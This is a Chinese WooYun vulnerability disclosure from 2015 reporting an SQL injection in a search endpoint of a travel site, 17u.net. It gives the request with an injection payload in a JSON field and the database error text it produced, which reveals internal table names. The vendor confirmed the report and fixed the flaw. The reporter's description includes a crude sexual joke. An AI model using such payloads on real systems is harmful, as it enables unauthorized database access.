当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0110074

漏洞标题：苏州同程旅游某站点SQL注入

相关厂商：苏州同程旅游网络科技有限公司

漏洞作者： 路人甲

提交时间：2015-04-27 16:56

修复时间：2015-04-30 11:37

公开时间：2015-04-30 11:37

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：12

漏洞状态：厂商已经修复

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-04-27： 细节已通知厂商并且等待厂商处理中
2015-04-27： 厂商已经确认，细节仅向厂商公开
2015-04-30： 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

此注入点藏得比较深啊，http://www.17u.net 页面搜索，表面好像什么事情都没有
但是还是让我看到一个错误请求 哈哈
在经过我轻轻地抚摸下，它还是缓缓的张开双腿。。。。。。
听说有礼物。。。。。。。。。

详细说明：

http://www.17u.net/travellist/linequeryJson
lineQueryParamJson={'LineQueryParam':
{'StartAreaId':'322','LineClass':'0','Days':'0','MinPrice':'0','MaxPrice':'0','TravelClass':'1','Title':'11%2527+and+1=user--','SortValue':'1','TravelType':'guonei','SpecialType':'0'},'page':{'PageIndex':'1','PageSize':'10'}}&keyword=l

and t1.TypeOfAreaand t1.PublisherCityId =322 GROUP BY t1.id ,t1.addDate,t1.listorder,t5.ordervalue,t1.TypeOfArea,t1.priceforbooking,
	t1.updatetime,t1.ClickSum order by t1.updatetime desc,t5.ordervalue desc select Count(1) from
	@indextable t0 left join [TCB2bTouristBiz].[dbo].[cn_tradeleads_to_tourist] t3 with (nolock) 
	on(t0.lineid = t3.id ) left join [17u_net].[dbo].[qyml] t4 with (nolock) on (t3.memberid = t4.id) where t4.ifbuyb2b 
	AND t4.WebshopState = 1 AND t4.WebshopType = 1' 
	and t1.TypeOfArea and t1.PublisherCityId =322 GROUP BY t1.id ,t1.addDate,t1.listorder,t5.ordervalue,t1.TypeOfArea,t1.priceforb'


2.png

3.png

4.png

漏洞证明：

修复方案：

上班中 没有深入。。。你们比我更懂的！

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-04-27 17:35

厂商回复：

感谢关注同程旅游，请洞主发一下联系方式。

最新状态：

2015-04-30：公开